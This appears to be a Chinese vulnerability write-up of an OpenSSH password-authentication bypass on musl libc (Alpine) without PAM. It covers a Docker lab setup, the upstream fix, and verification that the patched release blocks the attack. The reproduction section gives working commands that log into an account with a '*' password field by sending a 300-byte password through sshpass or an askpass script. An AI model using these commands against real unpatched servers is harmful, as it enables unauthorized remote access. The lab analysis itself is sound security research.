一个 * 和 257 个 A:SSHhole 全链分析
漏洞描述openssh在2026年11月06日发布更新,在security更新中称修复了一个密码身份验证绕过漏洞CVE编号为CVE-2026-123158,在NVD中漏洞描述为在 Linux 系统上, 2026-11-6 17:39:39 Author: xz.aliyun.com(查看原文) 阅读量:0 收藏

漏洞描述

openssh在2026年11月06日发布更新,在security更新中称修复了一个密码身份验证绕过漏洞

CVE编号为CVE-2026-123158,在NVD中漏洞描述为在 Linux 系统上,OpenSSH 10.6p2 之前的版本中,当使用 musl libc 库且未启用 PAM 时,sshd 服务缺少针对密码认证绕过漏洞的变通方案(该漏洞源于对字符串是否为密码哈希的错误识别)。对于某些账户配置,任何长度在 256 到 1024 个字符之间的密码都能成功验证。Alpine Linux 就是一个使用 musl libc 库且未启用 PAM 的平台示例。

环境搭建

检查docker版本

本文使用的docker为29.1.3版本

docker --version
docker ps >/dev/null && echo docker-ok

创建工作目录

下载源码

分别下载openssh-10.6p1,以及openssh-10.6p2版本的源码并进行校验

for v in 10.6p1 10.6p2; do
  curl -sL --max-time 280 -o openssh-$v.tar.gz \
    "https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-$v.tar.gz" \
    || curl -sL --max-time 280 -o openssh-$v.tar.gz \
    "https://cloudflare.cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-$v.tar.gz"
  gzip -t openssh-$v.tar.gz && echo "$v 下载完整"
done
sha256sum openssh-10.6p*.tar.gz   # 应与 §1 的两个值一致

创建配置文件

sshd_config.lab

注意:不要写 UsePAM no——未编译 PAM 的 sshd 会因"Bad configuration option" 拒绝启动

cat > sshd_config.lab <<'EOF'
Port 2222
ListenAddress 0.0.0.0
HostKey /opt/ssh/etc/ssh_host_ed25519_key
HostKey /opt/ssh/etc/ssh_host_rsa_key
PasswordAuthentication yes
KbdInteractiveAuthentication no
PermitRootLogin yes
PidFile /tmp/sshd.pid
LogLevel DEBUG1
EOF

crypt_probe.c

在musl中,系统不存密码明文,存的是crypt(pass,salt)的结果,登陆的时候把输入的密码再算一遍进行比对,musl的crypt有一个特殊的行为:密码超过 256 字节时不报错、不返回空指针,而是返回恰好一个字符的字符串 *。这是2012 年的设计——很多程序不检查 crypt 返回值是否为空指针,直接拿去比较会崩溃,所以musl 改为返回一个"永远不可能等于任何真哈希"的字符串。问题在于很多系统恰好用单个* 当账户密码字段(表示禁止密码登录)

该代码主要用来验证musl:crypt在什么长度上从正常hash值变为错误的标记

cat > crypt_probe.c <<'EOF'
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <crypt.h>

    int main(void)
{
    static char pw[1024];
    int lens[] = {8, 100, 128, 200, 230, 240, 250, 255, 256, 257, 260, 280, 300};
    const char *salts[] = {"$6$saltsalt$", "$5$saltsalt$"};
    for (int s = 0; s < 2; s++) {
        printf("== salt %.12s ==\n", salts[s]);
        for (unsigned i = 0; i < sizeof(lens) / sizeof(lens[0]); i++) {
            int len = lens[i];
            memset(pw, 'A', len); pw[len] = '\0';
            char *r = crypt(pw, salts[s]);
            if (r == NULL) printf("  keylen=%3d -> NULL\n", len);
            else if (strcmp(r, "*") == 0) printf("  keylen=%3d -> \"*\"   <-- 错误标记\n", len);
            else printf("  keylen=%3d -> %.20s... (正常哈希)\n", len, r);
        }
    }
    return 0;
}
EOF

build_one.sh

构建脚本

cat > build_one.sh <<'EOF'
#!/bin/sh
# 用法: ./build_one.sh <容器名> <版本号,如 10.6p1>
set -e
NAME=$1; VER=$2
docker rm -f "$NAME" 2>/dev/null || true
docker run -d --name "$NAME" \
  -e http_proxy= -e https_proxy= -e HTTP_PROXY= -e HTTPS_PROXY= \
  -v "$(pwd):/lab:ro" alpine:latest sleep infinity
docker exec "$NAME" apk add --no-cache build-base zlib-dev openssl-dev
docker exec "$NAME" sh -c "tar xzf /lab/openssh-$VER.tar.gz -C /tmp"
docker exec "$NAME" sh -c "cd /tmp/openssh-$VER && \
  ./configure --prefix=/opt/ssh --without-pam --with-privsep-path=/var/empty \
  >/tmp/configure.log 2>&1 && make -j\$(nproc) >/tmp/make.log 2>&1 && \
  make install >/tmp/install.log 2>&1 && echo BUILD_OK || \
  { tail -20 /tmp/configure.log /tmp/make.log; exit 1; }"
docker exec "$NAME" sh -c "mkdir -p /var/empty && chmod 711 /var/empty && \
  { adduser -D -H -h /var/empty -s /sbin/nologin sshd 2>/dev/null || true; } && \
  /opt/ssh/bin/ssh-keygen -A"
docker exec "$NAME" sh -c "echo 'root:rootpw123' | chpasswd && \
  adduser -D -s /bin/sh victim && \
  sed -i 's/^victim:!:/victim:*:/' /etc/shadow"
docker cp sshd_config.lab "$NAME":/opt/ssh/etc/sshd_config
docker cp crypt_probe.c "$NAME":/root/crypt_probe.c
docker exec "$NAME" gcc -O2 -o /root/crypt_probe /root/crypt_probe.c
echo "$NAME ready (OpenSSH $VER)"
EOF
chmod +x build_one.sh

创建镜像

分别创建存在漏洞版本以及修复版本的镜像

./build_one.sh sshole-vuln  10.6p1
./build_one.sh sshole-fixed 10.6p2

启动sshd

对每台容器进行清理残留,重启,将日志写进文件里面,方便进行排查

for c in sshole-vuln sshole-fixed; do
  docker exec $c sh -c "ps -ef | awk '/sshd/ && !/awk/ {print \$1}' | xargs -r kill -9 2>/dev/null; true"
  docker exec -d $c sh -c "/opt/ssh/sbin/sshd -D -e -f /opt/ssh/etc/sshd_config >/tmp/sshd.log 2>&1"
  sleep 2
  echo "== $c: $(docker exec $c /opt/ssh/bin/ssh -V 2>&1)"
  docker exec $c netstat -tln | grep 2222
done

创建一个攻击者使用的容器

docker rm -f sshole-attacker 2>/dev/null
docker run -d --name sshole-attacker \
  -e http_proxy= -e https_proxy= -e HTTP_PROXY= -e HTTPS_PROXY= \
  alpine:latest sleep infinity
docker exec sshole-attacker apk add --no-cache openssh-client sshpass

漏洞分析

https://github.com/openssh/openssh-portable/commit/4353fdc43ef646c43a8dda7025cc1a898caf1482

auth-passwd.c

修复前:crypt返回非NULL,且strcmp(crypt 结果, 存储值) == 0。没有校验过"存储值是不是一个合法哈希"

  • musl 的 crypt 对超过 KEY_MAX(256 字节)的密码不返回 NULL,而是返回字符串"*" 作为错误标记

  • 类 Unix 系统惯用单字符 * 放在密码字段表示"此账户禁止密码登录";

前者是"拒绝计算"的错误标记,后者是"禁止登录",语义不同但字节相同,strcmp 判定相等,认证通过

新增了MIN_PASSWORD_HASH_LEN 4 规定了hash值的长度最小为4

这里利用了一个事实,现实中的合法哈希没有短于4 字符的

修复前 pw_password 是借用的指针:shadow_pw() 的返回值指向 musl
getspnam 的静态缓冲区内部(src/passwd/getspnam.c:static struct spwd sp;static char *line;,一次 malloc 256 字节,所有调用共用)。而认证中途pick_salt() 借盐会再次调用 getspnam,同一缓冲被改写;更早的代码里还带着explicit_bzero(passwd, strlen(passwd))对借来的哈希原地清零。比较基准指针指向的内存,会在比较发生之前被认证流程自身改写。

修复让两个分支都返回堆拷贝,归调用方所有,函数出口统一freezero(pw_password, strlen(pw_password))(先清零再释放,顺带不让密码字段内容在堆上残留)

xcrypt.c改动有两处,是配套的。

第一处,shadow_pw() 的返回值从直接返回指针改为返回 xstrdup 的堆拷贝,注释新增 "Caller must free returned value."。调用方拿到的是自己的内存,用完负责清零释放。 auth-passwd.c 各出口的 freezero 以此为前提。

第二处,pick_salt() 的遍历循环里,每轮拿到新账户哈希之前先把上一轮的哈希freezero,循环结束后再清一次。修复前的代码把遍历途中读到的其他账户哈希留在内存里,没有任何清理。这两处必须一起改:返回值还是 libc 静态缓冲的指针时,pick_salt 不能对它调用freezero,否则会把缓冲里后续还要用的数据一起清掉;改成堆拷贝之后才能清理。旧代码中的 explicit_bzero 一直在这块缓冲上做原地清零

port-uw.c

port-uw.c 是 UnixWare 平台的 sys_auth_passwd(),写法和 auth-passwd.c 一样:拿 shadow_pw() 的返回值直接用、直接 strcmp。这次提交对它做了同样的修改:pw_password 改为 xstrdup,各出口统一freezero,原来 USE_LIBIAF 条件下的free 逻辑一并替换。

CVE 记录和报告都没有提到 UnixWare 上有独立的利用路径。对写法相同的平台代码一并修改,是把同样的隐患一起处理掉,而不是只改被报出来的那一处。

漏洞复现

检查环境

256字节以内crypt返回正常hash,257字节起返回错误标记 *这个数字是攻击输入长度的依据

docker exec sshole-vuln /root/crypt_probe | sed -n '1,11p;14,24p'

提取容器的IP

VULN_IP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' sshole-vuln)
FIXED_IP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' sshole-fixed)
echo "vuln=$VULN_IP fixed=$FIXED_IP"

定义ssh连接的参数

OPTS="-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
 -o PubkeyAuthentication=no -o PreferredAuthentications=password \
 -o ConnectTimeout=8 -o LogLevel=ERROR"

先使用密码正常登陆,可以登陆成功

docker exec sshole-attacker sshpass -p rootpw123 \
  ssh $OPTS -p 2222 root@${VULN_IP} 'id'

使用错误密码登陆被拒绝

docker exec sshole-attacker sshpass -p wrongpassword \
  ssh $OPTS -p 2222 victim@${VULN_IP} 'id'

身份验证绕过

用超过 256 字节的密码登录 victim,全程不提供任何正确凭据。

同一连接内多次尝试。用 SSH_ASKPASS 让客户端自动填密码,允许三次提示:

docker exec sshole-attacker sh -c 'printf "#!/bin/sh\nprintf \"A%%.0s\" \$(seq 300)\n" > /tmp/askpass.sh && chmod +x /tmp/askpass.sh'
docker exec sshole-attacker sh -c   "SSH_ASKPASS=/tmp/askpass.sh SSH_ASKPASS_REQUIRE=force ssh \
   $OPTS -o NumberOfPasswordPrompts=3 -p 2222 victim@${VULN_IP} id < /dev/null"

成功登陆并执行命令

对照账户hash值

输出Permission denied,root 的密码字段是真实的 $6$... 哈希。同样的 300 字节密码经 crypt 返回
*,与 root 的哈希不相等,被拒。密码字段是合法哈希的账户不受此漏洞影响。

docker exec sshole-attacker sh -c \
  "sshpass -p \$(head -c 300 /dev/zero | tr '\0' A) \
   ssh $OPTS -p 2222 root@${VULN_IP} 'id'"

验证官方修复

同样的攻击打到只有版本号不同的 10.6p2,验证官方修复有效

参考链接

CVE 官方记录

https://www.cve.org/CVERecord?id=CVE-2026-123158

官方修复 commit

https://github.com/openssh/openssh-portable/commit/4353fdc43ef646c43a8dda7025cc1a898caf1482

OpenSSH 10.6p2 release notes

https://www.openssh.org/releasenotes.html

musl commit b3c4cc12

https://git.musl-libc.org/cgit/musl/commit/?id=b3c4cc121f70faea45389fe7ddc1127ed5cbd8bb

musl commit 88bf5a8a

https://git.musl-libc.org/cgit/musl/commit/?id=88bf5a8a8d7d796f63cca8589f4de67aa8345f1a

musl crypt_sha512.c 源码

https://git.musl-libc.org/cgit/musl/plain/src/misc/crypt_sha512.c?id=88bf5a8a8d7d796f63cca8589f4de67aa8345f1a

源码

https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-10.6p1.tar.gzhttps://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-10.6p2.tar.gz

OpenSSH git 仓库

https://github.com/openssh/openssh-portable


文章来源: https://xz.aliyun.com/news/93195
如有侵权请联系:admin#unsafe.sh